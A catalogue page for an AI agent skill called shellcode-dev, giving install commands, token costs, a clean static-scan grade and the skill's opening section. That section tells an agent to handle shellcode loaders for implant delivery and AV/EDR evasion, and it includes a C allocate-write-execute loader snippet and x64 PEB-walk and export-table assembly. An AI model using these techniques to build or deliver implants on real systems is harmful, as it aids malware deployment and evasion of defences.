Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/hypnguyen1209/offensive-claude/shellcode-devnpx skills add hypnguyen1209/offensive-claude --skill shellcode-devgit clone --depth 1 https://github.com/hypnguyen1209/offensive-claudeWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00041 | $0.05372 |
| Opus 5 | $0.00020 | $0.02686 |
| Sonnet 5 | $0.00008 | $0.01074 |
| Haiku 4.5 | $0.00004 | $0.00537 |
Grade A, and why
shellcode-dev scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- shellcode-dev — 94% identical, 327 lines differ
How it starts
The opening of the file, as written. The whole thing — 548 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Shellcode Development
When to Activate
- Writing custom x86/x64 shellcode
- Implementing position-independent code (PIC)
- Building shellcode loaders for implant delivery
- Evading AV/EDR static detection
- Converting PE files to shellcode
- Cross-platform shellcode development
Execution Pattern (Allocate-Write-Execute)
Avoid direct PAGE_EXECUTE_READWRITE — prefer two-step:
// 1. Allocate with RW
char *dest = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// 2. Write shellcode
memcpy(dest, shellcode, size);
// 3. Switch to RX (no write permission)
VirtualProtect(dest, size, PAGE_EXECUTE_READ, &old);
// 4. Execute
((void(*)())dest)();
Position-Independent Code (PIC)
| Method | Platform | Notes |
|---|---|---|
| Call/Pop | Windows | Push next addr, pop into register |
| FPU state (fstenv) | Windows | Saves instruction pointer |
| SEH | Windows | Exception handler stores EIP |
| RIP-relative | x64 | lea rax, [rip+offset] |
| GOT | Linux | Global Offset Table |
| VDSO | Linux | Kernel-provided shared object |
Windows API Resolution (PEB Walk)
; x64 PEB walk to find kernel32.dll base
find_kernel32:
xor rcx, rcx
mov rax, gs:[rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr
mov rsi, [rax + 0x20] ; RSI = InMemoryOrderModuleList
lodsq ; skip first entry (exe)
xchg rax, rsi
lodsq ; skip ntdll
mov rbx, [rax + 0x20] ; RBX = kernel32 base address
Export Address Table (EAT) Parsing
; Parse EAT to find GetProcAddress
mov ebx, [rbx + 0x3C] ; PE signature offset
add rbx, r8 ; PE header
mov edx, [rbx + 0x88] ; Export Directory RVA
add rdx, r8 ; Export Directory VA
mov r10d, [rdx + 0x14] ; NumberOfFunctions
mov r11d, [rdx + 0x20] ; AddressOfNames RVA
add r11, r8 ; AddressOfNames VA
; Loop through names, compare hash/string
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 548 lines · 41 tokens per session scan A 05c14c864991
shellcode-dev is a skill published in the GitHub repository hypnguyen1209/offensive-claude (352 stars, last pushed 16d ago), licensed MIT. It adds 41 tokens to every session and 5,372 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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